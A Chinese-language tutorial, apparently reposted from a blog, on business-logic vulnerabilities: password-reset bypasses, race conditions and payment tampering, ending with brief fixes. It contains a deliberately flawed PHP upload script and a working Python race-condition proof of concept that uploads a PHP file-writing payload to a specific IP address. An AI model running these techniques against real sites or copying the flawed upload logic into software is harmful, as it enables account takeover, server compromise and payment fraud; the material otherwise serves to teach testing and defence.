1. 邏輯漏洞簡介

邏輯漏洞

邏輯漏洞是一種業務邏輯上的設計缺陷,業務流存在問題。
這裏說一下密碼找回漏洞、多線程條件競爭漏洞和支付漏洞。

密碼找回漏洞

1、 測試流程 先嚐試正確的密碼找回流程,記錄不一樣找回方式的全部數據包 分析數據包,找到有效數據部分 推測數據構造方法 構造數據包驗證猜想 二、 分類 * 郵箱找回 通常是點擊郵件中的連接後會轉跳到修密碼的頁面,這就須要分析連接的token構造了, 能夠考慮是時間戳md五、用戶名或郵箱和隨機字符串md5等,通常是相似以下連接: http://domain/findpwd.php?u=xiaoming&token=MTIzQHFxLmNvbQ==
    http://domain/findpwd.php?id=374&token=2ad64bf14c714dbce88c7993663da7da
 當構造相應連接時就能夠重置任意用戶的密碼 * 手機短信找回 短信找回通常就是4位或6位驗證碼,暴力猜想吧 * 找回邏輯錯誤 若惡意用戶A用15123333333找回密碼,此時收到驗證碼但不使用 此時惡意用戶A再用受害者B的手機號找回密碼 用戶A在B的驗證表單填入本身收到的驗證碼,發送 此時跳轉的修改密碼頁面修改的就是用戶B的密碼 * 直接修改密碼 在修改密碼時跳過選擇找回方式,直接訪問修改密碼的頁面進行修改 * 本地驗證 隨意輸入一個驗證碼,開Burp抓包,forward,抓返回包,返回包裏可能有一個flag字段, 若flag的值爲1則跳轉到修改密碼頁面,因此只要修改返回包便可 * 服務端將驗證碼返回給瀏覽器 在點擊獲取驗證碼時,服務器會將驗證碼發送給瀏覽器,抓包便可 * 驗證碼直接出如今url中 當點擊獲取驗證碼時發出的請求連接中直接有code * 密保問題找回 回答密保問題,有時一些答案就在html源碼裏

多線程條件競爭漏洞

    多線程條件競爭漏洞是一種服務端的漏洞,服務端是併發處理用戶請求的,  
    若併發處理不當或相關操做邏輯設計有缺陷時就會產生一些安全問題。
    如文件上傳和一些數據庫操做
  • 文件上傳
//uploads.php代碼以下,僅供測試:
<meta charset='utf-8'>
<?php
    $allowtype = array("gif","png","jpg");
    $size = 10000000;
    $path = "./uploads/";

    $filename = $_FILES['myfile']['name'];

    if (is_uploaded_file($_FILES['myfile']['tmp_name'])){
        if (!move_uploaded_file($_FILES['myfile']['tmp_name'],$path.$filename)){
            die("error:can not move!");
        }
    } else {
        die("error:not an upload file!");
    }

    echo "file upload success.file path is: ".$path.$newfile."\n<br />";

    if ($_FILES['myfile']['error']>0){
        unlink($path.$newfile);
        die("Upload file error: ");
    }

    $ext = array_pop(explode(".",$_FILES['myfile']['name']));
    if (!in_array($ext,$allowtype)){
        unlink($path.$newfile);
        die("error:upload the file type is not allowed,delete the file!");
    }
?>
  • 簡單poc以下:
#!/usr/bin/env python
#-*- coding:utf-8 -*-

import requests
import threading
import time

"""
200個線程上傳文件aa.php,同時200個線程同時請求aa.php,aa.php中內容爲
<?php fputs(fopen("info.php","w"),"<?php phpinfo(); ?>") ?>,
只要aa.php被請求成功就會生成內容爲<?php phpinfo(); ?>的php文件info.php
"""

is_exit = False

def create_info():
    global is_exit
    while not is_exit:
        url = "http://123.206.78.20/u/aa.php"
        resp = requests.get(url)

def put_file():
    global is_exit
    file = {'myfile':('aa.php',open('C:/Users/Administrator/Desktop/aa.php'),'application/octet-stream')}
    upload_url = "http://123.206.78.20/u.php"
    while  not is_exit:
        requests.post(upload_url,files=file)

def check_info():
    global is_exit
    print "start threading check info.php:"
    url = "http://123.206.78.20/u/info.php"
    while True:
        print "check info.php..."
        resp = requests.get(url)
        if resp.status_code == 200:
            is_exit = True
            print "create file info.php success."
            break

for x in xrange(1,200):
    t = threading.Thread(target=create_info)
    t.setDaemon(True)
    t.start()
    print "start create_into threading %d" % x

for x in xrange(1,200):
    t = threading.Thread(target=put_file)
    t.setDaemon(True)
    t.start()
    print "start put_file threading %d" % x


t = threading.Thread(target=check_info)
t.setDaemon(True)
t.start()
try:
    while t.isAlive():
        pass
    time.sleep(1)
except KeyboardInterrupt:
    print 'stopped by keyboard'
  • 數據庫操做
在數據庫進行update、delete等操做時使用多線程請求,可在一次
update時間內完成屢次update,和上面的文件上傳實際上是一個原理

支付漏洞

攻擊者經過修改交易金額、交易數量等從而利用漏洞, 如Burp修改交易金額、使交易數量爲負數或無限大等。 * 在支付時直接修改數據包中的支付金額,實現小金額購買大金額商品 * 修改購買數量,使之爲負數,可購買負數量商品,從而扣除負積分,即增長積分, 或使購買數量無限大,無限大時則程序可能處理出錯,從而實現0金額支付 * 請求重放,在購買成功後重放請求,可實現"一次購買對此收貨"

漏洞修復

  • 對於密碼重置漏洞,可使用複雜的token,使之不可被預測
  • 對於密碼重置漏洞,校驗refer,不使用本地校驗等
  • 對於多線程競爭漏洞,文件移動必定在一切判斷以後,對於數據庫則能夠設置鎖
  • 對於支付漏洞,主要就是簽名了,或者https
連接:https://www.jianshu.com/p/7501f2e20626
相關文章
相關標籤/搜索